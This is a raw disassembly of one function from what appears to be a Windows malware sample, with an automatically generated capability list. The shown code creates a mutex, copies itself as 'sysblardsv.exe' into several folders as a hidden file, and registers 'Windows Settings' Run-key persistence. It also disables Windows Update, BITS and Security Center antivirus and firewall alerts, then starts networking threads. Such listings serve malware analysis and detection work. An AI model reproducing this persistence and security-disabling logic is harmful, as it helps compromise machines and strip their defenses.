Function at 0x4078a0
Capabilities:
Bypass mark of the web
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Disable system features via registry on windows
Initialize winsock library
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xff0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.hh7788536a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xe5c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4078de
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x83c], 1
mov dword [ebp - 0x210], 4
push 0x105
push 0x41ba88
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x41ba88
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x20c], eax
push 0x41ba88
push 0x4114cc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea edx, [ebp - 0xe58]
push edx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysblardsv.exe
mov eax, dword [ebp - 0x20c]
push eax
call sub.ntdll.dll_wcscmp
add esp, 8
test eax, eax
je 0x407c49
call fcn.0040ef80
movzx ecx, al
cmp ecx, 1
jne 0x407998
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea edx, [ebp - 0xa48]
push edx
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysblardsv.exe
lea eax, [ebp - 0xa48]
push eax
push 0x411524
lea ecx, [ebp - 0x838]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x838]
push edx
push 0x41ba88
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407a7e
push 3
lea eax, [ebp - 0x838]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x411530
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407a7e
lea edx, [ebp - 0x838]
push edx
call sub.ntdll.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x838]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x407a7e
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x838]
push ecx
call fcn.0040f1d0
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x407a7e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.sysblardsv.exe
lea eax, [ebp - 0xe58]
push eax
push 0x411590
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x418]
push edx
push 0x41ba88
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407b58
push 3
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x4115a8
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407b58
lea edx, [ebp - 0x418]
push edx
call sub.ntdll.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x418]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x407b58
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x418]
push ecx
call fcn.0040f1d0
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x407b58
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea eax, [ebp - 0xc50]
push eax
push 0x411608
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysblardsv.exe
lea ecx, [ebp - 0xc50]
push ecx
push str._s_s
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x628]
push eax
push 0x41ba88
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x407c49
push 3
lea ecx, [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407c49
lea eax, [ebp - 0x628]
push eax
call sub.ntdll.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0x628]
push edx
push 1
push 0
push str.Windows_Settings
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x407c49
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x628]
push edx
call fcn.0040f1d0
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x407c49
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServiceswuauserv
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407ca2
push 4
lea edx, [ebp - 0x210]
push edx
push 4
push 0
push 0x4116d0
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push 0x4116d8
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407cf5
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x41173c
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x407d9a
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push 0x411758
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407d4c
push 0
lea ecx, [ebp - 0x62c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x4117a0
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push 0x4117d8
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407d9a
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push str.DisableWindowsUpdateAccess
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push 0x411858
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407ded
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x4118c4
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x407ee9
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindows
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407e44
push 0
lea ecx, [ebp - 0x62c]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.WindowsUpdate
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdate
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407e9b
push 0
lea edx, [ebp - 0x62c]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x411984
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407ee9
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push str.NoAutoUpdate
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetServicesBITS
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407f37
push 4
lea ecx, [ebp - 0x210]
push ecx
push 4
push 0
push str.Start
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x62c]
push ecx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x407f85
push 4
lea edx, [ebp - 0x41c]
push edx
push 4
push 0
push str.CheckedValue
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x62c]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408091
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x411b40
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push 0x411b54
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push 0x411b6c
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x411b80
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push 0x411b94
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push 0x411bac
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push 0x411bbc
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x62c]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40819d
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x83c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x62c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x83c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x83c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x62c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040d020
movzx ecx, al
test ecx, ecx
je 0x408327
lea edx, [ebp - 0xff0]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xe58]
push eax
push str._s_tbtnds.dat
push 0x41bc98
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xe58]
push ecx
push str._s_tbtcmds.dat
push 0x41b678
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x405820
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x406ef0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x407750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405b60
call fcn.0040de90
call fcn.00407310
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x41c6d0], eax
call fcn.0040c750
mov dword [0x41c6d8], eax
call fcn.0040d980
mov dword [0x41c6d4], eax
call fcn.0040bb10
push 0
push 0
push 0
push 0x40de40
push 0
mov edx, dword [0x41c6d4]
push edx
call fcn.0040d9b0
add esp, 0x18
push 0
push 0
push 0
push 0x40dda0
push 0
mov eax, dword [0x41c6d4]
push eax
call fcn.0040d9b0
add esp, 0x18
push 0
push 0
push 0
push 0x40d750
push 0
mov ecx, dword [0x41c6d4]
push ecx
call fcn.0040d9b0
add esp, 0x18
push 0
push 0
push 0
push 0x40d700
push 0
mov edx, dword [0x41c6d4]
push edx
call fcn.0040d9b0
add esp, 0x18
push 0xffffffffffffffff
mov eax, dword [0x41c6d4]
push eax
call fcn.0040db20
add esp, 8
mov ecx, dword [0x41c6d4]
push ecx
call fcn.0040dc60
add esp, 4
jmp 0x40832b
xor eax, eax
mov esp, ebp
pop ebp
ret